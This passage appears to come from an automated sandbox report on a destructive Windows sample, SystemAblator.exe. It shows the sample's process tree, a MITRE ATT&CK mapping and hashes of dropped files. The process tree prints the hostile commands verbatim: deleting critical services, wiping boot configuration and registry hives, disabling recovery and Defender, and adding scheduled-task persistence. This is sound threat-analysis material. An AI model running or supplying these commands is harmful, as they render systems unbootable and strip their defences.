    C:\Windows\system32\cmd.exe /c "sc delete netprofm"
    3⤵
    PID:1812
  - - C:\Windows\system32\sc.exe
      sc delete netprofm
      4⤵
      Launches sc.exe
      PID:4936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop Nsi"
    3⤵
    PID:3724
  - - C:\Windows\system32\sc.exe
      sc stop Nsi
      4⤵
      Launches sc.exe
      PID:5876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc delete Nsi"
    3⤵
    PID:976
  - - C:\Windows\system32\sc.exe
      sc delete Nsi
      4⤵
      Launches sc.exe
      PID:3280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop Dhcp"
    3⤵
    PID:5920
  - - C:\Windows\system32\sc.exe
      sc stop Dhcp
      4⤵
      Launches sc.exe
      PID:972
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc delete Dhcp"
    3⤵
    PID:5956
  - - C:\Windows\system32\sc.exe
      sc delete Dhcp
      4⤵
      Launches sc.exe
      PID:5768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop BITS"
    3⤵
    PID:3512
  - - C:\Windows\system32\sc.exe
      sc stop BITS
      4⤵
      Launches sc.exe
      PID:4700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc delete BITS"
    3⤵
    PID:2588
  - - C:\Windows\system32\sc.exe
      sc delete BITS
      4⤵
      Launches sc.exe
      PID:1372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop wuauserv"
    3⤵
    PID:5672
  - - C:\Windows\system32\sc.exe
      sc stop wuauserv
      4⤵
      Launches sc.exe
      PID:4180
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc delete wuauserv"
    3⤵
    PID:5440
  - - C:\Windows\system32\sc.exe
      sc delete wuauserv
      4⤵
      Launches sc.exe
      PID:2112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop CryptSvc"
    3⤵
    PID:5068
  - - C:\Windows\system32\sc.exe
      sc stop CryptSvc
      4⤵
      Launches sc.exe
      PID:4628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc delete CryptSvc"
    3⤵
    PID:2564
  - - C:\Windows\system32\sc.exe
      sc delete CryptSvc
      4⤵
      Launches sc.exe
      PID:1760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop msiserver"
    3⤵
    PID:4392
  - - C:\Windows\system32\sc.exe
      sc stop msiserver
      4⤵
      Launches sc.exe
      PID:1784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc delete msiserver"
    3⤵
    PID:1844
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2560
  - - C:\Windows\system32\sc.exe
      sc delete msiserver
      4⤵
      Launches sc.exe
      PID:5520
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f"
    3⤵
    PID:5020
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      4⤵
      PID:1180

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2924

C:\Users\Admin\AppData\Local\Temp\SystemAblator.exe
C:\Users\Admin\AppData\Local\Temp\SystemAblator.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:4884
- C:\Users\Admin\AppData\Local\Temp\SystemAblator.exe
  C:\Users\Admin\AppData\Local\Temp\SystemAblator.exe
  2⤵
  - Manipulates Digital Signatures
  - Loads dropped DLL
  - Writes to the Master Boot Record (MBR)
  - Drops file in System32 directory
  - Modifies termsrv.dll
  - Suspicious use of WriteProcessMemory
  PID:1816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg delete "HKLM\SYSTEM\CurrentControlSet\Services" /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6040
  - - C:\Windows\System32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services" /f
      4⤵
      PID:524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /delete {current} /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5296
  - - C:\Windows\System32\bcdedit.exe
      bcdedit /delete {current} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reagentc /disable"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:620
  - - C:\Windows\System32\ReAgentc.exe
      reagentc /disable
      4⤵
      Drops file in Windows directory
      PID:5444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "SystemUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\SystemAblator.exe" /sc onstart /ru SYSTEM /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3000
  - - C:\Windows\System32\schtasks.exe
      schtasks /create /tn "SystemUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\SystemAblator.exe" /sc onstart /ru SYSTEM /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4484
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop winmgmt"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5280
  - - C:\Windows\System32\sc.exe
      sc stop winmgmt
      4⤵
      Launches sc.exe
      PID:972
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop RpcSs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2644
  - - C:\Windows\System32\sc.exe
      sc stop RpcSs
      4⤵
      Launches sc.exe
      PID:796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1416
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:1888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /delete {default} /f"
    3⤵
    PID:2556
  - - C:\Windows\System32\bcdedit.exe
      bcdedit /delete {default} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:5044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc delete RpcSs"
    3⤵
    PID:1800
  - - C:\Windows\System32\sc.exe
      sc delete RpcSs
      4⤵
      Launches sc.exe
      PID:3336
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
    3⤵
    PID:3832
  - - C:\Windows\System32\bcdedit.exe
      bcdedit /set {default} recoveryenabled No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\SystemAblator.exe" /sc onlogon /f"
    3⤵
    PID:3780
  - - C:\Windows\System32\schtasks.exe
      schtasks /create /tn "WindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\SystemAblator.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /f"
    3⤵
    PID:8
  - - C:\Windows\System32\reg.exe
      reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /f
      4⤵
      PID:4076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop PlugPlay"
    3⤵
    PID:1684
  - - C:\Windows\System32\sc.exe
      sc stop PlugPlay
      4⤵
      Launches sc.exe
      PID:1536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {bootmgr} device null"
    3⤵
    PID:3132
  - - C:\Windows\System32\bcdedit.exe
      bcdedit /set {bootmgr} device null
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"
    3⤵
    PID:5216
  - - C:\Windows\System32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      Modifies boot configuration data using bcdedit
      PID:960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /f"
    3⤵
    PID:3200
  - - C:\Windows\System32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /f
      4⤵
      PID:3144
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc delete PlugPlay"
    3⤵
    PID:1804
  - - C:\Windows\System32\sc.exe
      sc delete PlugPlay
      4⤵
      Launches sc.exe
      PID:908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop DcomLaunch"
    3⤵
    PID:5596
  - - C:\Windows\System32\sc.exe
      sc stop DcomLaunch
      4⤵
      Launches sc.exe
      PID:2416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" /f"
    3⤵
    PID:4196
  - - C:\Windows\System32\reg.exe
      reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" /f
      4⤵
      PID:5260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc delete DcomLaunch"
    3⤵
    PID:5888
  - - C:\Windows\System32\sc.exe
      sc delete DcomLaunch
      4⤵
      Launches sc.exe
      PID:252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop LSM"
    3⤵
    PID:424
  - - C:\Windows\System32\sc.exe
      sc stop LSM
      4⤵
      Launches sc.exe
      PID:2020
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc delete LSM"
    3⤵
    PID:4060
  - - C:\Windows\System32\sc.exe
      sc delete LSM
      4⤵
      Launches sc.exe
      PID:5872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop EventLog"
    3⤵
    PID:5552
  - - C:\Windows\System32\sc.exe
      sc stop EventLog
      4⤵
      Launches sc.exe
      PID:5444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc delete EventLog"
    3⤵
    PID:2148
  - - C:\Windows\System32\sc.exe
      sc delete EventLog
      4⤵
      Launches sc.exe
      PID:3264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop Dnscache"
    3⤵
    PID:2328
  - - C:\Windows\System32\sc.exe
      sc stop Dnscache
      4⤵
      Launches sc.exe
      PID:5044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc delete Dnscache"
    3⤵
    PID:2424
  - - C:\Windows\System32\sc.exe
      sc delete Dnscache
      4⤵
      Launches sc.exe
      PID:3512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop NlaSvc"
    3⤵
    PID:3740
  - - C:\Windows\System32\sc.exe
      sc stop NlaSvc
      4⤵
      Launches sc.exe
      PID:4516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc delete NlaSvc"
    3⤵
    PID:2300
  - - C:\Windows\System32\sc.exe
      sc delete NlaSvc
      4⤵
      Launches sc.exe
      PID:3560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop netprofm"
    3⤵
    PID:1164
  - - C:\Windows\System32\sc.exe
      sc stop netprofm
      4⤵
      Launches sc.exe
      PID:5012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc delete netprofm"
    3⤵
    PID:3180
  - - C:\Windows\System32\sc.exe
      sc delete netprofm
      4⤵
      Launches sc.exe
      PID:5864
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop Nsi"
    3⤵
    PID:4840
  - - C:\Windows\System32\sc.exe
      sc stop Nsi
      4⤵
      Launches sc.exe
      PID:1036
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc delete Nsi"
    3⤵
    PID:1052
  - - C:\Windows\System32\sc.exe
      sc delete Nsi
      4⤵
      Launches sc.exe
      PID:2560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop Dhcp"
    3⤵
    PID:1312
  - - C:\Windows\System32\sc.exe
      sc stop Dhcp
      4⤵
      Launches sc.exe
      PID:5536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true""
    3⤵
    PID:6096
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:1396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc delete Dhcp"
    3⤵
    PID:5580
  - - C:\Windows\System32\sc.exe
      sc delete Dhcp
      4⤵
      Launches sc.exe
      PID:3176
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop BITS"
    3⤵
    PID:2796
  - - C:\Windows\System32\sc.exe
      sc stop BITS
      4⤵
      Launches sc.exe
      PID:4824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc delete BITS"
    3⤵
    PID:3752
  - - C:\Windows\System32\sc.exe
      sc delete BITS
      4⤵
      Launches sc.exe
      PID:1940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop wuauserv"
    3⤵
    PID:5316
  - - C:\Windows\System32\sc.exe
      sc stop wuauserv
      4⤵
      Launches sc.exe
      PID:3024
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc delete wuauserv"
    3⤵
    PID:2896
  - - C:\Windows\System32\sc.exe
      sc delete wuauserv
      4⤵
      Launches sc.exe
      PID:5376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop CryptSvc"
    3⤵
    PID:3620
  - - C:\Windows\System32\sc.exe
      sc stop CryptSvc
      4⤵
      Launches sc.exe
      PID:3584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc delete CryptSvc"
    3⤵
    PID:3700
  - - C:\Windows\System32\sc.exe
      sc delete CryptSvc
      4⤵
      Launches sc.exe
      PID:3540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop msiserver"
    3⤵
    PID:5488
  - - C:\Windows\System32\sc.exe
      sc stop msiserver
      4⤵
      Launches sc.exe
      PID:4996
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc delete msiserver"
    3⤵
    PID:5164
  - - C:\Windows\System32\sc.exe
      sc delete msiserver
      4⤵
      Launches sc.exe
      PID:5664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f"
    3⤵
    PID:2256
  - - C:\Windows\System32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      4⤵
      PID:5652

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

LIBBZ2.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\LIBBZ2.dll
Size 81KB
SHA256 25a4aae35dd89709620106db311af5bca7c868182b961e106a895ae14d2fc98a
MD5 71e7c0f84d0a3d8ee0ffbdb60a36e504
SHA1 f0eb047a187530b7deb7bc6190ddc4f4f6b4e14c
SHA512 fc0a869e333c10d28e621558bcb67cf574c6387f6a14e23536940530f0be544235e76841f352bd23f6274d0081c6aac74d5824a56d17fe62bb7c6074f54a1473
SSDEEP 1536:yRKNFQY+sYRQ3qsVLZJAJuCBdhUoHKJpKtRYt0TOV9sXYl0PANcHy1kZwrW29KJs:TYotZJAJuCBdqoHKJpKtRYt0TOV9sXYr
TLSH
T199837DC1E7666DDDC90784F893460956F3B6BD220740AAFF53289E3A1F02FE22534395
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\VCRUNTIME140.dll
Size 121KB
SHA256 0205071c36c17f1efbd70178c852cb7d49985c484202752b8704b7ac6b184e60
MD5 b5dc0b0d1a5c343147969af4fbfa28c4
SHA1 d54545c13445fdc86c65c733766e9a1fccf89c78
SHA512 c5af08391bdb0e1dd5ceffa6c5910d5e0d135e0265d8400afd249542c50dbee98e4ee340e6cbc3c24dbc0b9fe7a0ff6d02497c4c91c1815096b4fc5be975b116
SSDEEP 3072:2tkenID0f6aifkHWBXjGFZuecbfmQXpuK:LWSIHWBXjGqecbfhV
TLSH
T1A7C36C41B2B402FBD16ED274C2A2AE23FB76B84647609BDF07A59A640F13BE05D3D345
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\_bz2.pyd
Size 35KB
SHA256 b2c51a581606ef857728cfbceb74589b4487425dd191c7f3c841c9c0780bb24e
MD5 c3486e63440a092290a6f1de7c0c879e
SHA1 5424aca26f438ee6d63551cff189c76fb90965ec
SHA512 b9a9cb84b21c5934ebe8c813ef2760da36ece110bc77486fcb9cd23dde6d9546273af4dc81791cdbab80b856174b00062684ca36a95e8073b2b9b14f1e7d4179
SSDEEP 768:2Z/biipyycEs3Vl6gCb0IiIjLVZ5YivK45ALy3:6u6IEsob0IiIjLVH7SW3
TLSH
T18AF28E63D6940441D427C579DCD2A92BD9B1F9512B4083CF622CC61D1F623C2BFBA3B5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\_ctypes.pyd
Size 138KB
SHA256 0c904cd04853c7a0255ac330afb8122ee75b91d0fe5dbbc8527b7f091859ce3c
MD5 6dc2b4ac6d5db69f3c5c11f4a153d66e
SHA1 69ea7b71357c60fcb1242c56fd1a65721560e8e2
SHA512 4bfc8fbc37e4a10a969db23fc9be3b28b63e8fdf79fb46f68767a68a2469313428dcecc96bd88b2ea308685238d5989ad1e62160f5f09dbbb2e616bf0b3d2fa5
SSDEEP 3072:AhVt1RRaF+H14GmzhMAdwyifYUkdv4PKx6HZSbIjyPEG1:AhVnw+mSkwLfYUkRIK4ZSB1
TLSH
T10AD35B9732A800DADA678178C533BA16DBB3B455070187CF12A8C39A2F53BE67D7E750
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\_lzma.pyd
Size 47KB
SHA256 0d2a9a6724abd6ab68d5a81413b8767805f9cb7f5a2c3cc8fead9de7d189c0a7
MD5 3a018a1460ac546a85bfd570bd541aca
SHA1 71284e278766a050f9995bb76167890c934dcb02
SHA512 f0421e23f254d80834aba74726aba8da005d1a170f642cb44b74d3c447f7bf4a8ccd5dd959abc351fc6c554aba8a964f54422bf94eaba238eeeb12ad3062890c
SSDEEP 768:86s6Hdq/U9xud6tDh9x+0S6O3XKc3f2HOzlRa0IiIj01P5YivK4P5ALW:86sqdqkQ8h9bEXnf2HOzl00IiIj01h75
TLSH
T16C237D6266A004E9D96344B4A453AD27EEB0F45117A083DF626DC26C2F377C2BF7A394
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-core-console-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\api-ms-win-core-console-l1-1-0.dll
Size 21KB
SHA256 6df76986aec08e89ea037bc5271caaa82c69bd7eefba4fc293f92de1b1213e5e
MD5 6758f8aee3488dbe68c9b474d11b7c09
SHA1 500ace646431382e429862516a816e71d62855ff
SHA512 1f20eae2f4ca95b0d8a913adac082d32d42bf6a90f7fec201189a61983058039326d7ee0651d3d59312afe1eea870cecb3ff67cb67d1c45fbda38f0fe20fc1e3
SSDEEP 192:4FOhQWZhW6W4pICSjRof0cVWQ4GW/r2PuC1/or7o0X01k9z3AEW:4FxWZhWw2xlcv91Z0R9zbW
TLSH
T140A23B935EEC9543F9DBAEB046A8D9433C3D9BC64540A05A26E8F44C28D37C1EF1476E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-core-datetime-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\api-ms-win-core-datetime-l1-1-0.dll
Size 21KB
SHA256 c541697c3e9086c6483e88d9cc8fe8a2efc74f663da0b0662babc04d3f79000f
MD5 796c56d85a41b53ebd6d18f0a09c73b5
SHA1 28e561bcc1f85c3c54507e5d2d97c212f9cce8ca
SHA512 4ca10389eda1a82e4dc0a6484cd6caab10728d7ea319eb8f93d87e708d2f882dfbcf9abebcc75c68455fa9b4d7b6aa34764b4308a7150c3fda4ad9ade22c512a
SSDEEP 192:JWZhWTW4pICSjRof0cVWQ4OWyrtIfva2NX01k9z3AUYwEmOHMv+:JWZhW52xlcVWvpNR9z7Yw3OU+
TLSH
T177A229935AACD002FDEB6E7052A4DD833D3D67D71A10906A16D8F5482C837C1EF2467D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-core-debug-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\api-ms-win-core-debug-l1-1-0.dll
Size 21KB
SHA256 fed0c40d172de4de52dc2230c5c92fd6bc8e8553619d5bb5240dcc4f025dc8cf
MD5 56a8f4f8f019e1b09369bf2138b56588
SHA1 863af96fcd78fb54fcaaaf4ce9a07b12d4235500
SHA512 22973b4a7f77c35a2aa18e4d0c871cb08ad9551e909f7daae5bdd3bbc6bca01cb2f01dff2688bcbcf01371c730da4c09ef5f22c2b22cc9c4a18b8762f210bfcc
SSDEEP 192:kWZhW5W4pICSjRof0cVWQ4GWEX0xuC1/or7o0X01k9z3AEh0:kWZhW/2xlcoD1Z0R9zbh0
TLSH
T111A23B925BAC9087F9DB7E7042A8DA433C3DA7DB1550919A06D8F44829D37C1FF2067E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-core-errorhandling-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\api-ms-win-core-errorhandling-l1-1-0.dll
Size 21KB
SHA256 cdae6e7d24d4ca4b491d483135740cc60f2dfc74dd2e01779e655b9f8f85a337
MD5 15f3c06d69ecce79552d8c84b1153a1e
SHA1 8bfe2cad35e7ed54cb1e570520ffa9a5e129de51
SHA512 024b80e906fac608a3ed1c46646c51d7fbef854883f32feed98a42585d909abc48dae419171a38a66e9bc7a686812028fc4b7b7b2a75c535b5a78f0b260a153a
SSDEEP 192:BzmxD3T4q3WZhW5bW4pICSjRof0cVWQ4eWIDhYIN5vCX01k9z3AzfSX/p0ZhB:BzQBWZhW5B2xlcyUJCR9zUwB0V
TLSH
T14EA23B878A7CC043FDDBAE7056A4E9437C3DA7C7195091162AE8F59829D33D0EF2062E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-core-fibers-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\api-ms-win-core-fibers-l1-1-0.dll
Size 21KB
SHA256 cbb6cb7ff25363b07647ea05d01f2881837d50b04bba4debe875a4aa3a307c52
MD5 12be7e99c4323ab24b704217e4605f33
SHA1 7d97c35e0d70341e6b8fc11f7caa075a73bafe8b
SHA512 a12222247524770e6f38c9d17933e78409b3623ce5e2ac5fccd37702e2a365f4219919a22bc121fc68e6fa4a66e6b38f694a37f7d6dde6f189ea6b5048d3e2fa
SSDEEP 192:2WZhW7W4pICSjRof0cVWQ4+W38+Bx3MMBdRgjLX01k9z3AzsRK9eIguN:2WZhWh2xlcO3leLR9zusRK9bgu
TLSH
T167A22BD29ABC8143FE9ABE7042A4C9437C3E97D76940816906D5F4982CD33C1EB24B7E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-core-file-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\api-ms-win-core-file-l1-1-0.dll
Size 25KB
SHA256 02c96dde747ea574fecfb93d43dd9829236a1b22f0eb5513c0e0b27b7bdac934
MD5 fc67b593fea9e5041a3ebbb1d63cc6e2
SHA1 6149407959f7f1f8049ec89debbac0224b9d313b
SHA512 08a39708334c68fcee0f14637f0cb349bfc59fab9b756fb9221a0d2189a10954c1a79e38b0fca76fb0060a99f54a2ab9c56d74c3b018ba993e7358cc990195d4
SSDEEP 192:vaNYPvVX8rFTsGWZhWEHW4pICSjRof0cVWQ42WcCnNchC6zm60X01k9z3AeOiATz:NPvVXwWZhWEF2xlcGnNcM6a1R9z/fer
TLSH
T1A5C21A93D9B4E24BFDCFEA7111A2C8436C3943C20414518A1BD8E75C3DE3385E7986AD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-core-file-l1-2-0.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\api-ms-win-core-file-l1-2-0.dll
Size 21KB
SHA256 682968c7640a1d55485b7c10dfdaf520b1e1c73a8be267853e80be893be3fb49
MD5 c9aead0b44ca448e8de83b94750d44ce
SHA1 3810fedb4d552849256c33aabe6c35d79013033a
SHA512 ef957aa7f451c07a5d87964f9cb4b7c0a1de7b7e4015f569cfaa093e105a704c74221209d0d362983a1ecb756eab2bf6760c08a90a6a77b10a4aa8e3180c8f0f
SSDEEP 192:S0G+WZhW54WCYtvnVWQ4GWT6e5A+ZRrKOxHFTe5zX01k9z3AKaV:SX+WZhW5TFe5AU1x85zR9zt+
TLSH
T19DA22AC39A7C9543F8EA697002F8ED577C3967C61D4091AA19E9F45C18933D1EB20B3E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-core-file-l2-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\api-ms-win-core-file-l2-1-0.dll
Size 21KB
SHA256 45a0eb1b83f448054536d3aa628393b7418477897e841c66384ecc7f4f18c2f2
MD5 74d28c728dd1a065924132ae160beff5
SHA1 7787637e247e256947c2d34df5c58bbbec5b5f1f
SHA512 961b06a363f15fd7c6148c6c3364e6152f6284d8ed061bf6501e867c38cdcac6b20b09722315aa605ab2284bc61ed18e30d67707d6956786a08ec073a9b1f21f
SSDEEP 192:rLWZhW5gWCYtvnVWQ4aW1xJVOYOg8nK4X01k9z3A6ToK6Q:rLWZhW57SVOY/wR9zJTBp
TLSH
T1CFA23AC29AA89043FC9BBD7043A8D9833D3D67D31940906A16A8F55C2DE33C1EB24B6D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-core-handle-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\api-ms-win-core-handle-l1-1-0.dll
Size 21KB
SHA256 9986a39b7f2e067ee7d1f2b3db0b940e2b75900152f099ff41cce8ddd47565e0
MD5 75c7f5339f085082522d71294fa4c3a6
SHA1 0b45dc77b9e5ac26b364756fe8b39d64e42f6761
SHA512 685cd2ed25384e45e6be07cf8a3d342d14fef8b3e3acf429b6dd62b0654983f6a670182bfb252534118abb79feb4a915575c9ef9f68641fe16682a64031c41e3
SSDEEP 192:wfWZhWwW4pICSjRof0cVWQ4GWrKituC1/or7o0X01k9z3AEBJ:wfWZhWO2xlc+R31Z0R9zbBJ
TLSH
T16EA22C929FAC9047F9EB6E7042A8DA833C3D57D61400919A19A8F55C1CD77C0EF2076E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-core-heap-l1-1-0.dll

